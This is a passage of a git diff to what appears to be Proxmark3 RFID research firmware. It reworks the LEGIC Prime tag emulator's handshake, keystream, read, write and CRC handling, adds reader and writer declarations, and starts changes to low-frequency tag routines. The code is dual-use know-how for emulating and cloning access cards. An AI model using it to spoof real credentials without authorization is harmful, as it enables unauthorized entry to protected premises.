//Dbprintf("ICE: enter frame_handle_tag: %02x ", f->bits); + + /* First Part of Handshake (IV) */ + if(f->bits == 7) { + + LED_C_ON(); + + // Reset prng timer + //ResetTimer(prng_timer); + ResetTicks(); + + // IV from reader. + legic_prng_init(f->data); + + Dbprintf("ICE: IV: %02x ", f->data); + + // We should have three tagtypes with three different answers. + legic_prng_forward(2); + //frame_send_tag(0x3d, 6); /* MIM1024 0x3d^0x26 = 0x1B */ + frame_send_tag(0x1d, 6); // MIM256 + + legic_state = STATE_IV; + legic_read_count = 0; + legic_prng_bc = 0; + legic_prng_iv = f->data; + + //ResetTimer(timer); + //WaitUS(280); + WaitTicks(388); + return; + } /* 0x19==??? */ if(legic_state == STATE_IV) { - if((f->bits == 6) && (f->data == (0x19 ^ get_key_stream(1, 6)))) { + uint32_t local_key = get_key_stream(3, 6); + int xored = 0x39 ^ local_key; + if((f->bits == 6) && (f->data == xored)) { legic_state = STATE_CON; - /* TIMEOUT */ - timer->TC_CCR = AT91C_TC_SWTRG; - while(timer->TC_CV > 1); - while(timer->TC_CV < 200); + ResetTimer(timer); + WaitTicks(300); return; - } else { + + } else { legic_state = STATE_DISCON; LED_C_OFF(); - Dbprintf("0x19 - Frame: %03.3x", f->data); + Dbprintf("iv: %02x frame: %02x key: %02x xored: %02x", legic_prng_iv, f->data, local_key, xored); return; } } @@ -580,86 +708,77 @@ static void frame_handle_tag(struct legic_frame const * const f) /* Read */ if(f->bits == 11) { if(legic_state == STATE_CON) { - int key = get_key_stream(-1, 11); //legic_phase_drift, 11); - int addr = f->data ^ key; addr = addr >> 1; - int data = ((uint8_t*)BigBuf)[addr]; - int hash = LegicCRC(addr, data, 11) << 8; - ((uint8_t*)BigBuf)[OFFSET_LOG+legic_read_count] = (uint8_t)addr; - legic_read_count++; + uint32_t key = get_key_stream(2, 11); //legic_phase_drift, 11); + uint16_t addr = f->data ^ key; + addr >>= 1; + uint8_t data = cardmem[addr]; + + uint32_t crc = legic4Crc(LEGIC_READ, addr, data, 11) << 8; - //Dbprintf("Data:%03.3x, key:%03.3x, addr: %03.3x, read_c:%u", f->data, key, addr, read_c); - legic_prng_forward(legic_reqresp_drift); + //legic_read_count++; + //legic_prng_forward(legic_reqresp_drift); - frame_send_tag(hash | data, 12, 1); - - /* SHORT TIMEOUT */ - timer->TC_CCR = AT91C_TC_SWTRG; - while(timer->TC_CV > 1); - legic_prng_forward(legic_frame_drift); - while(timer->TC_CV < 180); + frame_send_tag(crc | data, 12); + //ResetTimer(timer); + legic_prng_forward(2); + WaitTicks(330); return; } } /* Write */ - if(f->bits == 23) { - int key = get_key_stream(-1, 23); //legic_frame_drift, 23); - int addr = f->data ^ key; addr = addr >> 1; addr = addr & 0x3ff; - int data = f->data ^ key; data = data >> 11; data = data & 0xff; + if (f->bits == 23 || f->bits == 21 ) { + uint32_t key = get_key_stream(-1, 23); //legic_frame_drift, 23); + uint16_t addr = f->data ^ key; + addr >>= 1; + addr &= 0x3ff; + uint32_t data = f->data ^ key; + data >>= 11; + data &= 0xff; + cardmem[addr] = data; /* write command */ legic_state = STATE_DISCON; LED_C_OFF(); Dbprintf("write - addr: %x, data: %x", addr, data); + // should send a ACK after 3.6ms return; } if(legic_state != STATE_DISCON) { Dbprintf("Unexpected: sz:%u, Data:%03.3x, State:%u, Count:%u", f->bits, f->data, legic_state, legic_read_count); - int i; Dbprintf("IV: %03.3x", legic_prng_iv); - for(i = 0; iPIO_ODR = GPIO_SSC_DIN; - AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DIN; - - setup_timer(); - crc_init(&legic_crc, 4, 0x19 >> 1, 0x5, 0); - - int old_level = 0; - int active = 0; - legic_state = STATE_DISCON; + #define LEGIC_DMA_BUFFER 256 + // The DMA buffer, used to stream samples from the FPGA + //uint8_t *dmaBuf = BigBuf_malloc(LEGIC_DMA_BUFFER); + //uint8_t *data = dmaBuf; + // Setup and start DMA. + // if ( !FpgaSetupSscDma((uint8_t*) dmaBuf, LEGIC_DMA_BUFFER) ){ + // if (MF_DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting"); + // return; + // } - LED_B_ON(); - DbpString("Starting Legic emulator, press button to end"); - while(!BUTTON_PRESS()) { - int level = !!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_DIN); - int time = timer->TC_CV; - - if(level != old_level) { - if(level == 1) { - timer->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; - if(FUZZ_EQUAL(time, RWD_TIME_1, RWD_TIME_FUZZ)) { - /* 1 bit */ - emit(1); - active = 1; - LED_A_ON(); - } else if(FUZZ_EQUAL(time, RWD_TIME_0, RWD_TIME_FUZZ)) { - /* 0 bit */ - emit(0); - active = 1; - LED_A_ON(); - } else if(active) { - /* invalid */ - emit(-1); - active = 0; - LED_A_OFF(); - } - } - } + //StartCountSspClk(); + /* Bitbang the receiver */ + AT91C_BASE_PIOA->PIO_ODR = GPIO_SSC_DIN; + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DIN; - if(time >= (RWD_TIME_1+RWD_TIME_FUZZ) && active) { - /* Frame end */ - emit(-1); - active = 0; - LED_A_OFF(); - } - - if(time >= (20*RWD_TIME_1) && (timer->TC_SR & AT91C_TC_CLKSTA)) { - timer->TC_CCR = AT91C_TC_CLKDIS; - } - - old_level = level; - WDT_HIT(); - } - DbpString("Stopped"); - LED_B_OFF(); - LED_A_OFF(); - LED_C_OFF(); + // need a way to determine which tagtype we are simulating + + // hook up emulator memory + cardmem = BigBuf_get_EM_addr(); + + clear_trace(); + set_tracing(true); + + crc_init(&legic_crc, 4, 0x19 >> 1, 0x5, 0); + + StartTicks(); + + LED_B_ON(); + DbpString("Starting Legic emulator, press button to end"); + + /* + * The mode FPGA_HF_SIMULATOR_MODULATE_212K works like this. + * - A 1-bit input to the FPGA becomes 8 pulses on 212kHz (fc/64) (18.88us). + * - A 0-bit input to the FPGA becomes an unmodulated time of 18.88us + * + * In this mode the SOF can be written as 00011101 = 0x1D + * The EOF can be written as 10111000 = 0xb8 + * A logic 1 is 01 + * A logic 0 is 10 + volatile uint8_t b; + uint8_t i = 0; + while( !BUTTON_PRESS() ) { + WDT_HIT(); + + // not sending anything. + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0x00; + } + + // receive + if ( AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY ) { + b = (uint8_t) AT91C_BASE_SSC->SSC_RHR; + bd[i] = b; + ++i; + // if(OutOfNDecoding(b & 0x0f)) + // *len = Uart.byteCnt; + } + + } + */ + + while(!BUTTON_PRESS() && !usb_poll_validate_length()) { + + level = !!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_DIN); + + uint32_t time = GET_TICKS; + + if (level != old_level) { + if (level == 1) { + + //Dbprintf("start, %u ", time); + StartTicks(); + // did we get a signal + if (FUZZ_EQUAL(time, RWD_TIME_1, RWD_TIME_FUZZ)) { + // 1 bit + emit(1); + active = 1; + LED_A_ON(); + } else if (FUZZ_EQUAL(time, RWD_TIME_0, RWD_TIME_FUZZ)) { + // 0 bit + emit(0); + active = 1; + LED_A_ON(); + } else if (active) { + // invalid + emit(-1); + active = 0; + LED_A_OFF(); + } + } + } + + + /* Frame end */ + if(time >= (RWD_TIME_1 + RWD_TIME_FUZZ) && active) { + emit(-1); + active = 0; + LED_A_OFF(); + } + + /* + * Disable the counter, Then wait for the clock to acknowledge the + * shutdown in its status register. Reading the SR has the + * side-effect of clearing any pending state in there. + */ + //if(time >= (20*RWD_TIME_1) && (timer->TC_SR & AT91C_TC_CLKSTA)) + if(time >= (20 * RWD_TIME_1) ) + StopTicks(); + + old_level = level; + WDT_HIT(); } + WDT_HIT(); + DbpString("LEGIC Prime emulator stopped"); + switch_off_tag_rwd(); + FpgaDisableSscDma(); + LEDsoff(); + cmd_send(CMD_ACK, 1, 0, 0, 0, 0); +} + + +//----------------------------------------------------------------------------- +// Code up a string of octets at layer 2 (including CRC, we don't generate +// that here) so that they can be transmitted to the reader. Doesn't transmit +// them yet, just leaves them ready to send in ToSend[]. +//----------------------------------------------------------------------------- +// static void CodeLegicAsTag(const uint8_t *cmd, int len) +// { + // int i; + + // ToSendReset(); + + // // Transmit a burst of ones, as the initial thing that lets the + // // reader get phase sync. This (TR1) must be > 80/fs, per spec, + // // but tag that I've tried (a Paypass) exceeds that by a fair bit, + // // so I will too. + // for(i = 0; i < 20; i++) { + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // } + + // // Send SOF. + // for(i = 0; i < 10; i++) { + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // } + // for(i = 0; i < 2; i++) { + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // } + + // for(i = 0; i < len; i++) { + // int j; + // uint8_t b = cmd[i]; + + // // Start bit + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + + // // Data bits + // for(j = 0; j < 8; j++) { + // if(b & 1) { + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // } else { + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // } + // b >>= 1; + // } + + // // Stop bit + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // } + + // // Send EOF. + // for(i = 0; i < 10; i++) { + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // ToSendStuffBit(0); + // } + // for(i = 0; i < 2; i++) { + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // ToSendStuffBit(1); + // } + + // // Convert from last byte pos to length + // ToSendMax++; +// } + +//----------------------------------------------------------------------------- +// The software UART that receives commands from the reader, and its state +// variables. +//----------------------------------------------------------------------------- +/* +static struct { + enum { + STATE_UNSYNCD, + STATE_GOT_FALLING_EDGE_OF_SOF, + STATE_AWAITING_START_BIT, + STATE_RECEIVING_DATA + } state; + uint16_t shiftReg; + int bitCnt; + int byteCnt; + int byteCntMax; + int posCnt; + uint8_t *output; +} Uart; +*/ +/* Receive & handle a bit coming from the reader. + * + * This function is called 4 times per bit (every 2 subcarrier cycles). + * Subcarrier frequency fs is 212kHz, 1/fs = 4,72us, i.e. function is called every 9,44us + * + * LED handling: + * LED A -> ON once we have received the SOF and are expecting the rest. + * LED A -> OFF once we have received EOF or are in error state or unsynced + * + * Returns: true if we received a EOF + * false if we are still waiting for some more + */ +// static RAMFUNC int HandleLegicUartBit(uint8_t bit) +// { + // switch(Uart.state) { + // case STATE_UNSYNCD: + // if(!bit) { + // // we went low, so this could be the beginning of an SOF + // Uart.state = STATE_GOT_FALLING_EDGE_OF_SOF; + // Uart.posCnt = 0; + // Uart.bitCnt = 0; + // } + // break; + + // case STATE_GOT_FALLING_EDGE_OF_SOF: + // Uart.posCnt++; + // if(Uart.posCnt == 2) { // sample every 4 1/fs in the middle of a bit + // if(bit) { + // if(Uart.bitCnt > 9) { + // // we've seen enough consecutive + // // zeros that it's a valid SOF + // Uart.posCnt = 0; + // Uart.byteCnt = 0; + // Uart.state = STATE_AWAITING_START_BIT; + // LED_A_ON(); // Indicate we got a valid SOF + // } else { + // // didn't stay down long enough + // // before going high, error + // Uart.state = STATE_UNSYNCD; + // } + // } else { + // // do nothing, keep waiting + // } + // Uart.bitCnt++; + // } + // if(Uart.posCnt >= 4) Uart.posCnt = 0; + // if(Uart.bitCnt > 12) { + // // Give up if we see too many zeros without + // // a one, too. + // LED_A_OFF(); + // Uart.state = STATE_UNSYNCD; + // } + // break; + + // case STATE_AWAITING_START_BIT: + // Uart.posCnt++; + // if(bit) { + // if(Uart.posCnt > 50/2) { // max 57us between characters = 49 1/fs, max 3 etus after low phase of SOF = 24 1/fs + // // stayed high for too long between + // // characters, error + // Uart.state = STATE_UNSYNCD; + // } + // } else { + // // falling edge, this starts the data byte + // Uart.posCnt = 0; + // Uart.bitCnt = 0; + // Uart.shiftReg = 0; + // Uart.state = STATE_RECEIVING_DATA; + // } + // break; + + // case STATE_RECEIVING_DATA: + // Uart.posCnt++; + // if(Uart.posCnt == 2) { + // // time to sample a bit + // Uart.shiftReg >>= 1; + // if(bit) { + // Uart.shiftReg |= 0x200; + // } + // Uart.bitCnt++; + // } + // if(Uart.posCnt >= 4) { + // Uart.posCnt = 0; + // } + // if(Uart.bitCnt == 10) { + // if((Uart.shiftReg & 0x200) && !(Uart.shiftReg & 0x001)) + // { + // // this is a data byte, with correct + // // start and stop bits + // Uart.output[Uart.byteCnt] = (Uart.shiftReg >> 1) & 0xff; + // Uart.byteCnt++; + + // if(Uart.byteCnt >= Uart.byteCntMax) { + // // Buffer overflowed, give up + // LED_A_OFF(); + // Uart.state = STATE_UNSYNCD; + // } else { + // // so get the next byte now + // Uart.posCnt = 0; + // Uart.state = STATE_AWAITING_START_BIT; + // } + // } else if (Uart.shiftReg == 0x000) { + // // this is an EOF byte + // LED_A_OFF(); // Finished receiving + // Uart.state = STATE_UNSYNCD; + // if (Uart.byteCnt != 0) { + // return TRUE; + // } + // } else { + // // this is an error + // LED_A_OFF(); + // Uart.state = STATE_UNSYNCD; + // } + // } + // break; + + // default: + // LED_A_OFF(); + // Uart.state = STATE_UNSYNCD; + // break; + // } + + // return false; +// } +/* + +static void UartReset() { + Uart.byteCntMax = 3; + Uart.state = STATE_UNSYNCD; + Uart.byteCnt = 0; + Uart.bitCnt = 0; + Uart.posCnt = 0; + memset(Uart.output, 0x00, 3); +} +*/ +// static void UartInit(uint8_t *data) { + // Uart.output = data; + // UartReset(); +// } + +//============================================================================= +// An LEGIC reader. We take layer two commands, code them +// appropriately, and then send them to the tag. We then listen for the +// tag's response, which we leave in the buffer to be demodulated on the +// PC side. +//============================================================================= +/* +static struct { + enum { + DEMOD_UNSYNCD, + DEMOD_PHASE_REF_TRAINING, + DEMOD_AWAITING_FALLING_EDGE_OF_SOF, + DEMOD_GOT_FALLING_EDGE_OF_SOF, + DEMOD_AWAITING_START_BIT, + DEMOD_RECEIVING_DATA + } state; + int bitCount; + int posCount; + int thisBit; + uint16_t shiftReg; + uint8_t *output; + int len; + int sumI; + int sumQ; +} Demod; +*/ +/* + * Handles reception of a bit from the tag + * + * This function is called 2 times per bit (every 4 subcarrier cycles). + * Subcarrier frequency fs is 212kHz, 1/fs = 4,72us, i.e. function is called every 9,44us + * + * LED handling: + * LED C -> ON once we have received the SOF and are expecting the rest. + * LED C -> OFF once we have received EOF or are unsynced + * + * Returns: true if we received a EOF + * false if we are still waiting for some more + * + */ + +/* +static RAMFUNC int HandleLegicSamplesDemod(int ci, int cq) +{ + int v = 0; + int ai = ABS(ci); + int aq = ABS(cq); + int halfci = (ai >> 1); + int halfcq = (aq >> 1); + + switch(Demod.state) { + case DEMOD_UNSYNCD: + + CHECK_FOR_SUBCARRIER() + + if(v > SUBCARRIER_DETECT_THRESHOLD) { // subcarrier detected + Demod.state = DEMOD_PHASE_REF_TRAINING; + Demod.sumI = ci; + Demod.sumQ = cq; + Demod.posCount = 1; + } + break; + + case DEMOD_PHASE_REF_TRAINING: + if(Demod.posCount < 8) { + + CHECK_FOR_SUBCARRIER() + + if (v > SUBCARRIER_DETECT_THRESHOLD) { + // set the reference phase (will code a logic '1') by averaging over 32 1/fs. + // note: synchronization time > 80 1/fs + Demod.sumI += ci; + Demod.sumQ += cq; + ++Demod.posCount; + } else { + // subcarrier lost + Demod.state = DEMOD_UNSYNCD; + } + } else { + Demod.state = DEMOD_AWAITING_FALLING_EDGE_OF_SOF; + } + break; + + case DEMOD_AWAITING_FALLING_EDGE_OF_SOF: + + MAKE_SOFT_DECISION() + + //Dbprintf("ICE: %d %d %d %d %d", v, Demod.sumI, Demod.sumQ, ci, cq ); + // logic '0' detected + if (v <= 0) { + + Demod.state = DEMOD_GOT_FALLING_EDGE_OF_SOF; + + // start of SOF sequence + Demod.posCount = 0; + } else { + // maximum length of TR1 = 200 1/fs + if(Demod.posCount > 25*2) Demod.state = DEMOD_UNSYNCD; + } + ++Demod.posCount; + break; + + case DEMOD_GOT_FALLING_EDGE_OF_SOF: + ++Demod.posCount; + + MAKE_SOFT_DECISION() + + if(v > 0) { + // low phase of SOF too short (< 9 etu). Note: spec is >= 10, but FPGA tends to "smear" edges + if(Demod.posCount < 10*2) { + Demod.state = DEMOD_UNSYNCD; + } else { + LED_C_ON(); // Got SOF + Demod.state = DEMOD_AWAITING_START_BIT; + Demod.posCount = 0; + Demod.len = 0; + } + } else { + // low phase of SOF too long (> 12 etu) + if(Demod.posCount > 13*2) { + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + } + } + break; + + case DEMOD_AWAITING_START_BIT: + ++Demod.posCount; + + MAKE_SOFT_DECISION() + + if(v > 0) { + // max 19us between characters = 16 1/fs, max 3 etu after low phase of SOF = 24 1/fs + if(Demod.posCount > 3*2) { + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + } + } else { + // start bit detected + Demod.bitCount = 0; + Demod.posCount = 1; // this was the first half + Demod.thisBit = v; + Demod.shiftReg = 0; + Demod.state = DEMOD_RECEIVING_DATA; + } + break; + + case DEMOD_RECEIVING_DATA: + + MAKE_SOFT_DECISION() + + if(Demod.posCount == 0) { + // first half of bit + Demod.thisBit = v; + Demod.posCount = 1; + } else { + // second half of bit + Demod.thisBit += v; + Demod.shiftReg >>= 1; + // logic '1' + if(Demod.thisBit > 0) + Demod.shiftReg |= 0x200; + + ++Demod.bitCount; + + if(Demod.bitCount == 10) { + + uint16_t s = Demod.shiftReg; + + if((s & 0x200) && !(s & 0x001)) { + // stop bit == '1', start bit == '0' + uint8_t b = (s >> 1); + Demod.output[Demod.len] = b; + ++Demod.len; + Demod.state = DEMOD_AWAITING_START_BIT; + } else { + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + + if(s == 0x000) { + // This is EOF (start, stop and all data bits == '0' + return true; + } + } + } + Demod.posCount = 0; + } + break; + + default: + Demod.state = DEMOD_UNSYNCD; + LED_C_OFF(); + break; + } + return false; +} +*/ +/* +// Clear out the state of the "UART" that receives from the tag. +static void DemodReset() { + Demod.len = 0; + Demod.state = DEMOD_UNSYNCD; + Demod.posCount = 0; + Demod.sumI = 0; + Demod.sumQ = 0; + Demod.bitCount = 0; + Demod.thisBit = 0; + Demod.shiftReg = 0; + memset(Demod.output, 0x00, 3); +} + +static void DemodInit(uint8_t *data) { + Demod.output = data; + DemodReset(); +} +*/ + +/* + * Demodulate the samples we received from the tag, also log to tracebuffer + * quiet: set to 'TRUE' to disable debug output + */ + + /* + #define LEGIC_DMA_BUFFER_SIZE 256 + + static void GetSamplesForLegicDemod(int n, bool quiet) +{ + int max = 0; + bool gotFrame = false; + int lastRxCounter = LEGIC_DMA_BUFFER_SIZE; + int ci, cq, samples = 0; + + BigBuf_free(); + + // And put the FPGA in the appropriate mode + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_RX_XCORR | FPGA_HF_READER_RX_XCORR_QUARTER_FREQ); + + // The response (tag -> reader) that we're receiving. + // Set up the demodulator for tag -> reader responses. + DemodInit(BigBuf_malloc(MAX_FRAME_SIZE)); + + // The DMA buffer, used to stream samples from the FPGA + int8_t *dmaBuf = (int8_t*) BigBuf_malloc(LEGIC_DMA_BUFFER_SIZE); + int8_t *upTo = dmaBuf; + + // Setup and start DMA. + if ( !FpgaSetupSscDma((uint8_t*) dmaBuf, LEGIC_DMA_BUFFER_SIZE) ){ + if (MF_DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting"); + return; + } + + // Signal field is ON with the appropriate LED: + LED_D_ON(); + for(;;) { + int behindBy = lastRxCounter - AT91C_BASE_PDC_SSC->PDC_RCR; + if(behindBy > max) max = behindBy; + + while(((lastRxCounter-AT91C_BASE_PDC_SSC->PDC_RCR) & (LEGIC_DMA_BUFFER_SIZE-1)) > 2) { + ci = upTo[0]; + cq = upTo[1]; + upTo += 2; + if(upTo >= dmaBuf + LEGIC_DMA_BUFFER_SIZE) { + upTo = dmaBuf; + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) upTo; + AT91C_BASE_PDC_SSC->PDC_RNCR = LEGIC_DMA_BUFFER_SIZE; + } + lastRxCounter -= 2; + if(lastRxCounter <= 0) + lastRxCounter = LEGIC_DMA_BUFFER_SIZE; + + samples += 2; + + gotFrame = HandleLegicSamplesDemod(ci , cq ); + if ( gotFrame ) + break; + } + + if(samples > n || gotFrame) + break; + } + + FpgaDisableSscDma(); + + if (!quiet && Demod.len == 0) { + Dbprintf("max behindby = %d, samples = %d, gotFrame = %d, Demod.len = %d, Demod.sumI = %d, Demod.sumQ = %d", + max, + samples, + gotFrame, + Demod.len, + Demod.sumI, + Demod.sumQ + ); + } + + //Tracing + if (Demod.len > 0) { + uint8_t parity[MAX_PARITY_SIZE] = {0x00}; + LogTrace(Demod.output, Demod.len, 0, 0, parity, false); + } +} + +*/ + +//----------------------------------------------------------------------------- +// Transmit the command (to the tag) that was placed in ToSend[]. +//----------------------------------------------------------------------------- +/* +static void TransmitForLegic(void) +{ + int c; + + FpgaSetupSsc(); + + while(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) + AT91C_BASE_SSC->SSC_THR = 0xff; + + // Signal field is ON with the appropriate Red LED + LED_D_ON(); + + // Signal we are transmitting with the Green LED + LED_B_ON(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX | FPGA_HF_READER_TX_SHALLOW_MOD); + + for(c = 0; c < 10;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = 0xff; + c++; + } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; + (void)r; + } + WDT_HIT(); + } + + c = 0; + for(;;) { + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { + AT91C_BASE_SSC->SSC_THR = ToSend[c]; + legic_prng_forward(1); // forward the lfsr + c++; + if(c >= ToSendMax) { + break; + } + } + if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + volatile uint32_t r = AT91C_BASE_SSC->SSC_RHR; + (void)r; + } + WDT_HIT(); + } + LED_B_OFF(); +} +*/ + +//----------------------------------------------------------------------------- +// Code a layer 2 command (string of octets, including CRC) into ToSend[], +// so that it is ready to transmit to the tag using TransmitForLegic(). +//----------------------------------------------------------------------------- +/* +static void CodeLegicBitsAsReader(const uint8_t *cmd, uint8_t cmdlen, int bits) +{ + int i, j; + uint8_t b; + + ToSendReset(); + + // Send SOF + for(i = 0; i < 7; i++) + ToSendStuffBit(1); + + + for(i = 0; i < cmdlen; i++) { + // Start bit + ToSendStuffBit(0); + + // Data bits + b = cmd[i]; + for(j = 0; j < bits; j++) { + if(b & 1) { + ToSendStuffBit(1); + } else { + ToSendStuffBit(0); + } + b >>= 1; + } + } + + // Convert from last character reference to length + ++ToSendMax; +} +*/ +/** + Convenience function to encode, transmit and trace Legic comms + **/ +/* + static void CodeAndTransmitLegicAsReader(const uint8_t *cmd, uint8_t cmdlen, int bits) +{ + CodeLegicBitsAsReader(cmd, cmdlen, bits); + TransmitForLegic(); + if (tracing) { + uint8_t parity[1] = {0x00}; + LogTrace(cmd, cmdlen, 0, 0, parity, true); + } +} + +*/ +// Set up LEGIC communication +/* +void ice_legic_setup() { + + // standard things. + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + BigBuf_free(); BigBuf_Clear_ext(false); + clear_trace(); + set_tracing(true); + DemodReset(); + UartReset(); + + // Set up the synchronous serial port + FpgaSetupSsc(); + + // connect Demodulated Signal to ADC: + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + + // Signal field is on with the appropriate LED + LED_D_ON(); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER_TX | FPGA_HF_READER_TX_SHALLOW_MOD); + SpinDelay(20); + // Start the timer + //StartCountSspClk(); + + // initalize CRC + crc_init(&legic_crc, 4, 0x19 >> 1, 0x5, 0); + + // initalize prng + legic_prng_init(0); +} +*/ \ No newline at end of file diff --git a/armsrc/legicrf.h b/armsrc/legicrf.h index 57ab7e6d3..5c3bd81b9 100644 --- a/armsrc/legicrf.h +++ b/armsrc/legicrf.h @@ -1,4 +1,4 @@ -//----------------------------------------------------------------------------- +//----------------------------------------------------------------------------- // (c) 2009 Henryk Plötz // // This code is licensed to you under the terms of the GNU GPL, version 2 or, @@ -11,8 +11,38 @@ #ifndef __LEGICRF_H #define __LEGICRF_H +#include "proxmark3.h" // +#include "apps.h" +#include "util.h" // +#include "string.h" +#include "legic_prng.h" // legic PRNG impl +#include "crc.h" // legic crc-4 +#include "ticks.h" // timers +#include "legic.h" // legic_card_select_t struct + extern void LegicRfSimulate(int phase, int frame, int reqresp); -extern int LegicRfReader(int bytes, int offset); -extern void LegicRfWriter(int bytes, int offset); +extern int LegicRfReader(uint16_t offset, uint16_t len, uint8_t iv); +extern void LegicRfWriter(uint16_t offset, uint16_t byte, uint8_t iv, uint8_t *data); +extern void LegicRfInfo(void); + +uint32_t get_key_stream(int skip, int count); +void frame_send_tag(uint16_t response, uint8_t bits); +void frame_sendAsReader(uint32_t data, uint8_t bits); + +int legic_read_byte( uint16_t index, uint8_t cmd_sz); +bool legic_write_byte(uint16_t index, uint8_t byte, uint8_t addr_sz); + +int legic_select_card(legic_card_select_t *p_card); +int legic_select_card_iv(legic_card_select_t *p_card, uint8_t iv); + +void LegicCommonInit(bool clear_mem); + +// emulator mem +void LegicEMemSet(uint32_t arg0, uint32_t arg1, uint8_t *data); +void LegicEMemGet(uint32_t arg0, uint32_t arg1); +void legic_emlset_mem(uint8_t *data, int offset, int numofbytes); +void legic_emlget_mem(uint8_t *data, int offset, int numofbytes); + +void ice_legic_setup(); #endif /* __LEGICRF_H */ diff --git a/armsrc/lfops.c b/armsrc/lfops.c index 6b131c261..cec577d0a 100644 --- a/armsrc/lfops.c +++ b/armsrc/lfops.c @@ -4,7 +4,7 @@ // the license. //----------------------------------------------------------------------------- // Miscellaneous routines for low frequency tag operations. -// Tags supported here so far are Texas Instruments (TI), HID +// Tags supported here so far are Texas Instruments (TI), HID, EM4x05, EM410x // Also routines for raw mode reading/simulating of LF waveform //----------------------------------------------------------------------------- @@ -14,126 +14,145 @@ #include "hitag2.h" #include "crc16.h" #include "string.h" +#include "lfdemod.h" +#include "lfsampling.h" +#include "protocols.h" +#include "usb_cdc.h" // for usb_poll_validate_length -void LFSetupFPGAForADC(int divisor, bool lf_field) -{ - FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - if ( (divisor == 1) || (divisor < 0) || (divisor > 255) ) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 88); //134.8Khz - else if (divisor == 0) - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz - else - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); +#ifndef SHORT_COIL +# define SHORT_COIL() LOW(GPIO_SSC_DOUT) +#endif +#ifndef OPEN_COIL +# define OPEN_COIL() HIGH(GPIO_SSC_DOUT) +#endif - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); - // Connect the A/D to the peak-detected low-frequency path. - SetAdcMuxFor(GPIO_MUXSEL_LOPKD); - // Give it a bit of time for the resonant antenna to settle. - SpinDelay(50); - // Now set up the SSC to get the ADC samples that are now streaming at us. - FpgaSetupSsc(); -} +#define START_GAP 31*8 // was 250 // SPEC: 1*8 to 50*8 - typ 15*8 (15fc) +#define WRITE_GAP 20*8 // was 160 // SPEC: 1*8 to 20*8 - typ 10*8 (10fc) +#define WRITE_0 18*8 // was 144 // SPEC: 16*8 to 32*8 - typ 24*8 (24fc) +#define WRITE_1 50*8 // was 400 // SPEC: 48*8 to 64*8 - typ 56*8 (56fc) 432 for T55x7; 448 for E5550 +#define READ_GAP 15*8 -void AcquireRawAdcSamples125k(int divisor) -{ - LFSetupFPGAForADC(divisor, true); - DoAcquisition125k(-1); -} +// VALUES TAKEN FROM EM4x function: SendForward +// START_GAP = 440; (55*8) cycles at 125Khz (8us = 1cycle) +// WRITE_GAP = 128; (16*8) +// WRITE_1 = 256 32*8; (32*8) -void SnoopLFRawAdcSamples(int divisor, int trigger_threshold) -{ - LFSetupFPGAForADC(divisor, false); - DoAcquisition125k(trigger_threshold); -} +// These timings work for 4469/4269/4305 (with the 55*8 above) +// WRITE_0 = 23*8 , 9*8 -// split into two routines so we can avoid timing issues after sending commands // -void DoAcquisition125k(int trigger_threshold) -{ - uint8_t *dest = (uint8_t *)BigBuf; - int n = sizeof(BigBuf); - int i; +// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK) +// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz +// Hitag units (T0) have duration of 8 microseconds (us), which is 1/125000 per second (carrier) +// T0 = TIMER_CLOCK1 / 125000 = 192 +// 1 Cycle = 8 microseconds(us) == 1 field clock - memset(dest, 0, n); - i = 0; - for(;;) { - if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) { - AT91C_BASE_SSC->SSC_THR = 0x43; - LED_D_ON(); - } - if (AT91C_BASE_SSC->SSC_SR & 